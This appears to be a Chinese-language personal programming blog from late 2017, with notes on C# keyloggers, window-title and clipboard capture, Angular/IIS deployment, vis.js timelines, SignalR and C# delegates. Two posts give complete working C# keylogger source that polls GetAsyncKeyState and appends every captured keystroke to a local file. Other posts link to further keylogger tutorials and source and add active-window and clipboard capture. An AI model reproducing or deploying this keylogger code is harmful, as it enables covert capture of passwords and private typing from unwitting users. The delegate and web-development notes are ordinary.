2017年12月31日 星期日

Keylogger c#

Ultimate Keylogger - Global KeyBoard Hook [C# Tutorial]


http://tutplusplus.blogspot.tw/2010/10/ultimate-keylogger-lesson-1-global.html



 GlobalKeyboardHook 


https://docs.google.com/document/d/1jEovZJo-0sz8snF5ZcvJmfqrdjkVYrhEWWvvn6kpggM/edit?usp=sharing

https://www.mediafire.com/file/1777b9cwl4rh5hf/GlobalKeyBoardHook.cs

2017年12月28日 星期四

GetWindowText 函数的用法

GetWindowText 函数的用法
http://blog.sina.com.cn/s/blog_4b27e9200100mptc.html

GetWindowText
可以獲取指定視窗的標題文本或者從視窗類派生的控制項的文本(如Combox
函數功能
  該函數將指定視窗的標題條文本(如果存在)拷貝到一個緩存區內。如果指定的視窗是一個控制項,則拷貝控制項的文本。但是,GetWindowText不能接收在其他應用程式中的控制項的文本。
  函數原型:Int GetWindowTextHWND hWndLPTSTR lpStringInt nMaxCount
參數
  hWnd:帶文本的視窗或控制項的控制碼。
  IpString:指向接收文本的緩衝區的指標。
  nMaxCount:指定要保存在緩衝區內的字元的最大個數,其中包含NULL字元。如果文本超過界限,它就被截斷。
  getwindowtextDELPHI例子:
  var
  p:pchar;
  begin
  getmem(p,255);
  getwindowtext(application.Handle,p,255);
  showmessage(strpas(p));
  freemem(p);
  end;
返回值
  如果函數成功,返回值是拷貝的字串的字元個數,不包括中斷的空字元;如果視窗無標題列或文本,或標題列為空,或視窗或控制的控制碼無效,則返回值為零。若想獲得更多錯誤資訊,請調用GetLastError函數。
  函數不能返回在其他應用程式中的編輯控制項的文本。
備註

  如果目標視窗屬於當前進程,GetWindowText函數給指定的視窗或控制項發送WM_GETTEXT消息。如果目標視窗屬於其他進程,並且有一個視窗標題,則GetWindowTeXt返回視窗的標題文本,如果視窗無標題,則函數返回空字串。

使用 Unmanaged 程式碼

http://vito-note.blogspot.tw/2012/05/unmanaged.html

2017年12月25日 星期一

(C#)取得剪貼簿Clipboard的內容

(C#)取得剪貼簿Clipboard的內容


IDataObject data = Clipboard.GetDataObject();
if (data.GetDataPresent(DataFormats.Text))
{
  TextBox1.Text = data.GetData(DataFormats.Text).ToString();
}

2017年12月22日 星期五

[Google] 輸入工具 – 注音解碼 API

http://blog.xuite.net/vexed/tech/66042514

https://www.mxp.tw/2017/03/07/google-%E8%BC%B8%E5%85%A5%E5%B7%A5%E5%85%B7-%E6%B3%A8%E9%9F%B3%E8%A7%A3%E7%A2%BC-api/


【教程】教你找到免费的Google Translate API(谷歌翻译接口)+C#版的Google翻译函数

https://www.crifan.com/teach_you_how_to_find_free_google_translate_api/

鍵盤側錄2

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace keytest1
{
    public partial class Form1 : Form
    {
        [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(int vkey);
        public Form1()
        {
            InitializeComponent();
            timer1.Start();
        }
        string text = "";
        bool capslock, numlock;
        private void timer1_Tick(object sender, EventArgs e)
        {
            capslock = Console.CapsLock;
            numlock = Console.NumberLock;
            if (capslock == true)
            {
                //button1.Text = "On";
            }
            string buffer = "";
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if (GetAsyncKeyState(i) == -32767)
                {
                    buffer += Enum.GetName(typeof(Keys), i);
                    if (capslock == true)
                    {
                        buffer = buffer.ToUpper();
                    }
                    else
                        buffer = buffer.ToLower();
                    switch (buffer)
                    {
                        case "LButton":
                            buffer = " ";
                            break;

                        case "Delete":
                            buffer = " ";
                            break;

                        case "RButton":
                            buffer = " ";
                            break;
                        case "Space ":
                            buffer = " ";
                            break;


                        case "space":
                        case "SPACE":
                            buffer = " ";
                            break;
                        case "capslock":
                        case "CAPSLOCK":
                            buffer = " ";
                            break;

                        //  shiftkeylshiftkey
                        case "enter":
                        case "ENTER":
                            buffer = (Environment.NewLine);
                            break;

                        case "LBUTTON":
                        case "lbutton":
                            buffer = "";
                            break;
                        case "OemPeriod":
                        case "OEMPERIOD":
                        case "oemperiod":
                            buffer = ".";
                            break;

                        case "LMenu":
                        case "lemnu":
                        case "LMENU":
                            buffer = "ALT ";
                            break;
                        case "Back":
                            buffer = " ";
                            break;

                        case "Oem7":
                            buffer = "'";
                            break;
                        case "down":
                            buffer = " D ";
                            break;
                        case "up":
                            buffer = " U ";
                            break;
                        case "right":
                            buffer = " R ";
                            break;
                        case "left":
                            buffer = " L ";
                            break;
                        case "back":
                            buffer = " B ";
                            break;
                        case "Oemcomma":
                            buffer = ",";
                            break;
                        case "Capital":
                            buffer = "CAPITAL ";
                            break;
                        case "Tab":
                            buffer = "TAB ";
                            break;
                        case "OemQuestion":
                            buffer = "?";
                            break;
                        case "Oem1":
                            buffer = ";";
                            break;
                        case "Oem5":
                            buffer = "\\";
                            break;
                        case "Oem6":
                            buffer = "]";
                            break;
                        case "OemOpenBrackets":
                            buffer = "[";
                            break;
                        case "OemMinus":
                            buffer = "-";
                            break;
                        case "Oemplus":
                            buffer = "+";
                            break;
                        /*case Keys.Down:
                            sw.Write("DownArrow-");
                            break;
                        case Keys.Left:
                            sw.Write("Left Arrow-");
                            break;
                        case Keys.Right:
                            sw.Write("Righr Arrow-");
                            break;
                        case Keys.Up:
                            sw.Write("Up Arrow-");
                            break;*/
                        case "D0":
                        case "d0":
                            buffer = "0";
                            break;
                        case "D1":
                        case "d1":
                            buffer = "1";
                            break;
                        case "D2":
                        case "d2":
                            buffer = "2";
                            break;
                        case "D3":
                        case "d3":
                            buffer = "3";
                            break;
                        case "D4":
                        case "d4":
                            buffer = "4";
                            break;
                        case "D5":
                        case "d5":
                            buffer = "5";
                            break;
                        case "D6":
                        case "d6":
                            buffer = "6";
                            break;
                        case "D7":
                        case "d7":
                            buffer = "7";
                            break;
                        case "D8":
                        case "d8":
                            buffer = "8";
                            break;
                        case "D9":
                        case "d9":
                            buffer = "9";
                            break;
                        case "OemPipe":
                            buffer = "|";
                            break;
                        case "rshiftkey":
                        case "RShiftKey":
                        case "RSHIFTKEY":
                            buffer = "";
                            break;
                        case "LSHIFTKEY":
                        case "Lshiftkey":
                        case "lshiftkey":
                            buffer = "";
                            break;

                        case "LCONTROLKEY":
                        case "lcontrolkey":
                            buffer = "";
                            break;
                        case "RCONTROLKEY":
                        case "rcontrolkey":
                            buffer = "";
                            break;

                        case "OemSemicolon":
                            buffer = ";";
                            break;
                        case "DELETE":
                        case "delete":
                            buffer = "";
                            break;
                            //case "DELETE":
                            //case "delete":
                            //  buffer = "";
                            //break;
                    }
                }
            }
            text +=buffer;         

            if (text.Length > 10)
            {
                writeTotext(text);
                text = "";

            }
        }
        private void writeTotext(string value)
        {
            StreamWriter stram = new StreamWriter("Pokus.txt", true);
            stram.Write(value);
            stram.Close();
        }
    }
}

2017年12月21日 星期四

鍵盤側錄c#

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;

namespace keylogger
{
    public partial class Form1 : Form
    {
        [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(int vkey);

        public Form1()
        {
            InitializeComponent();
            timer1.Start();
        }
        string text = "";
        private void timer1_Tick(object sender, EventArgs e)
        {
            string buffer = "";
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if (GetAsyncKeyState(i) == -32767)
                {
                    buffer += Enum.GetName(typeof(Keys), i);
                }
            }
            text += buffer;
            if (text.Length > 10)
            {
                writeTotext(text);
                text = "";

            }
        }
        private void writeTotext(string value)
        {
            StreamWriter stram = new StreamWriter("Pokus.txt", true);
            stram.Write(value);
            stram.Close();
        }
    }
}

2017年12月19日 星期二

sample code

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Windows;
using System.Runtime.InteropServices;

namespace WindowsFormsApplication2
{
    public partial class Form1 : Form
    {
        [DllImport("user32.dll")]
        private static extern Int32 GetForegroundWindow();
        [DllImport("user32.dll")]
        private static extern Int32 GetWindowText(Int32 hWnd, StringBuilder lpsb, Int32 count);

        public Form1()
        {
            InitializeComponent();
            Timer mytimer = new Timer();
            mytimer.Tick += new EventHandler(mytimer_Tick);
            mytimer.Start();
            /*       
            // Create a TextBox control.
            TextBox tb = new TextBox();
            this.Controls.Add(tb);
            //將此改為windows視窗物件
            //https://msdn.microsoft.com/zh-tw/library/system.windows.window(v=vs.110).aspx
            tb.KeyPress += new KeyPressEventHandler(keypressed);
            */
        }
        private void keypressed(Object o, KeyPressEventArgs e)

        {
            //判斷按鍵的 Keychar
            char Key_Char = e.KeyChar;
            //  MessageBox.Show(((int)(Key_Char)).ToString());
            MessageBox.Show(((Key_Char)).ToString());
        }

        private void button1_Click(object sender, EventArgs e)
        {
            Timer mytimer = new Timer();
            mytimer.Tick += new EventHandler(mytimer_Tick);
            mytimer.Start();
        }
        private void mytimer_Tick(object sender, EventArgs e)
        {
            GetCurrentWindow();//取得活動視窗
        }

        private void GetCurrentWindow()
        {
            Int32 handle = 0;
            StringBuilder sb = new StringBuilder(256);
            handle = GetForegroundWindow();
            if (GetWindowText(handle, sb, sb.Capacity) > 0)
            {
                label1.Text = "視窗標題:" + sb.ToString();

            }
        }
    }
}

Active Application Watcher






Active Application Watcher in .NET Using Windows Forms

http://www.c-sharpcorner.com/article/active-application-watcher-in-net-using-windows-forms/

https://drive.google.com/file/d/14n2IBevm1uLCxnLkLmisBOKF32z_AWei/view?usp=sharing

*
https://dotblogs.com.tw/ricochen/2009/12/02/12256

https://social.msdn.microsoft.com/Forums/zh-TW/16b1fac5-d0ed-46d7-9c14-bad035d15a66/cfocus?forum=242

[C#]取得本機端上,執行中有GUI 介面的應用程式| 小歐ou | 菜鳥

https://www.google.com.tw/search?source=hp&ei=n-44WsiZPITX8QW3hb2oCw&q=%E5%8F%96%E5%BE%97%E7%9B%AE%E5%89%8D%E9%96%8B%E5%95%9F%E7%9A%84%E8%A6%96%E7%AA%97C%23&oq=%E5%8F%96%E5%BE%97%E7%9B%AE%E5%89%8D%E9%96%8B%E5%95%9F%E7%9A%84%E8%A6%96%E7%AA%97C%23&gs_l=psy-ab.3...1520.16398.0.16664.41.38.2.0.0.0.132.1906.37j1.38.0....0...1c.1j4.64.psy-ab..1.6.292.0..0j35i39k1.0.om3ar-rYUVw


[C#] 使用 Win32 API 來進行控制其他程式視窗行為表現

https://dotblogs.com.tw/nobel12/2009/10/05/10915

鍵盤側錄 C#

鍵盤側錄  C #

https://www.youtube.com/watch?v=_y3BAQs8-uc

https://www.youtube.com/watch?v=4k2IQCQV9Kc

http://www.programmer-club.com.tw/ShowSameTitleN/vc/463.html

http://m.blog.csdn.net/u014434080/article/details/51513197

https://www.csharpens.com/projects/keylogger-application-program-in-c-sharp-with-source-code-download-43/



Key Logger Application in C#


http://www.c-sharpcorner.com/article/key-logger-application-in-C-Sharp/


Keylogger in C#
https://pastebin.com/nPmn7wAW

2017年12月13日 星期三

angular建立虛擬目錄架站

  • 安裝vs code程式
  • 安裝套件


  • 可修改該虛擬路徑的名稱
  • 將build後的檔案copy到指定的虛擬路徑
  • 建立一個站台,該站台只存放index.html(做路徑指向用)或空資料匣不可以把code放在此會造成routing問題
  • 建立test2及test3資料匣
  • 將code複製到test2資料匣內
  • Iis設定

時間軸加custom line







Jeff新的專案需要在主機開發因為本機有升級雲端那邊沒有升級



時間軸加custom line (日期要加線) The Timeline has functions to add multiple custom time bars which can be dragged by the user. http://visjs.org/examples/timeline/other/customTimeBars.html ***timeline 那一支 ngOnInit() { this.options = { editable: false, clickToUse: true }; this.container = document.getElementById('visualization') this.timeline = new vis.Timeline(this.container, this.items, this.options); 底下加這一行 this.timeline.addCustomTime('2014-04-17'); // I want this item not moving. --css 檔 .vis-custom-time { pointer-events: none; }

2017年12月12日 星期二

取得鍵盤輸入文字

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Windows;

namespace WindowsFormsApplication2
{
    public partial class Form1 : Form
    {
        public Form1()
        {         
            // Create a TextBox control.
            TextBox tb = new TextBox();
            this.Controls.Add(tb);
            //將此改為windows視窗物件
            //https://msdn.microsoft.com/zh-tw/library/system.windows.window(v=vs.110).aspx
            tb.KeyPress += new KeyPressEventHandler(keypressed);
        }
        private void keypressed(Object o, KeyPressEventArgs e)
        {
            //判斷按鍵的 Keychar
            char Key_Char = e.KeyChar;
            MessageBox.Show(((int)(Key_Char)).ToString());
        }


    }
}

2017年10月26日 星期四

利用SignalR實現遠端程式遙控功能

http://blog.darkthread.net/post-2012-07-10-signalr-remote-controller.aspx

利用SignalR實現遠端程式遙控功能

https://code.msdn.microsoft.com/windowsdesktop/Using-SignalR-in-WinForms-f1ec847b

https://kknews.cc/zh-tw/other/29xmog.html

2017年9月26日 星期二

Func 委派的用法

Func 委派的用法

https://dotblogs.com.tw/brooke/2014/08/02/146142

摘要:Func 委派的用法
一、
1.委派的範例為
using System;

//宣告一個委派型別為ConvertMethod,
//並規範入為string型別,輸出為string型別
delegate string ConvertMethod(string inString);

public class DelegateExample
{
   public static void Main()
   {
      // Instantiate delegate to reference UppercaseString method
      // 將委派型別ConvertMethod的實體去參考UppercaseString方法
      ConvertMethod aConvertMeth = UppercaseString;
      string name = "Dakota";
      // Use delegate instance to call UppercaseString method
      Console.WriteLine(aConvertMeth(name));
   }

   private static string UppercaseString(string inputString)
   {
      return inputString.ToUpper();
   }
}

2.不用明確定義委派方法,以Func來簡化程式碼為
using System;

public class GenericFunc
{
    public static void Main()
    {
        // Instantiate delegate to reference UppercaseString method
        //Func<in T, out TResult>
        Func<string, string> aConvertMethod = UppercaseString;
        string name = "Dakota";
        // Use delegate instance to call UppercaseString method
        Console.WriteLine(aConvertMethod(name));
        Console.ReadKey();
    }

    private static string UppercaseString(string inputString)
    {
        return inputString.ToUpper();
    }
}

3.使用匿名方法
using System;

public class Anonymous
{
   public static void Main()
   {
      Func<string, string> convert = delegate(string s){ return s.ToUpper();}; 

      string name = "Dakota";
      Console.WriteLine(convert(name));   
   }
}

4.使用Lambda運算式
using System;

public class Anonymous
{
   public static void Main()
   {
      Func<string, string> convert = s => s.ToUpper(); 

      string name = "Dakota";
      Console.WriteLine(convert(name));   
   }
}

二、
若要參考有一個參數並傳回 void (在 Visual Basic 中是宣告為 Sub 而非 Function) 的方法,
可使用泛型 Action<T> 委派代替。
using System;

public class GenericFunc
{
    public static void Main()
    {

        Action<string> aConvertMethod = UppercaseString;
        string name = "Dakota";

        aConvertMethod(name);
        Console.ReadKey();
    }

    private static void UppercaseString(string inputString)
    {
        Console.WriteLine(inputString.ToUpper());
    }
}

三、
Action<T>泛型的委派型別,也是跟Func一樣,只是回傳值為void。
每個Func委派型別的簽章,傳入的參數會是零到四,而最後一個的型別參數是代表回傳型別。
例如:Func<string,int>,代表傳入型別為string而回型別為int。

WPF聊天室应用(ASP.NET Core SignalR)

  WPF聊天室应用(ASP.NET Core SignalR) https://www.bilibili.com/video/BV1Q741187Si?p=2 https://www.bilibili.com/video/BV1UV411e75T?from=search&...